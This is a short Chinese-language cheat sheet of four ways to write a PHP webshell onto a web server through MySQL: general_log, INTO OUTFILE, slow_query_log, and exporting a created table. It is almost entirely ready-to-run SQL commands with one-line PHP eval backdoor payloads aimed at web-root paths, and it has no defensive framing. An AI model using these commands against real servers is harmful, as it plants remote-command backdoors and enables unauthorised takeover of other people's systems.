1、日志文件寫 shell
general_log 默認關閉,開啟它可以記錄用戶輸入的每條命令,會把其保存在對應的日志文件中。可以嘗試自定義日志文件,並向日志文件里面寫入內容的話,那么就可以成功 getshell: # 查看當前配置 SHOW VARIABLES LIKE 'general%'; # 更改日志文件位置 set global general_log = "ON"; set global general_log_file='C:/phpStudy/WWW/zyx.php'; # 往日志里面寫入 payload select '<?php phpinfo();?>';
2、在知道絕對路徑的情況下,利用INTO OUTFILE
select @@basedir; 查找絕對路徑 show global variables like '%secure_file_priv%'; NULL 不允許導入或導出 /tmp 只允許在 /tmp 目錄導入導出 空 不限制目錄 如果有權限 select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'E:/phpstudy_pro/WWW/test.php'
3、慢查詢寫入webshell
show variables like '%slow%'
set global slow_query_log=on;
set global slow_query_log_file='E:/phpstudy_pro/WWW/slow.php'
select '<?php @eval($_POST[shell]);?>' or sleep(10);
4、創建數據庫和表寫入webshell:
利用條件:Root數據庫用戶(root權限); 網站絕對路徑(確定有寫入權限); secure_file_priv沒有具體值。操作步驟:1)執行下面的sql語句,創建表並在表中寫入一句話木馬,在導出到網站的根路徑。
CREATE TABLE test( id text(500) not null); INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>'); SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php'; DROP TABLE IF EXISTS test;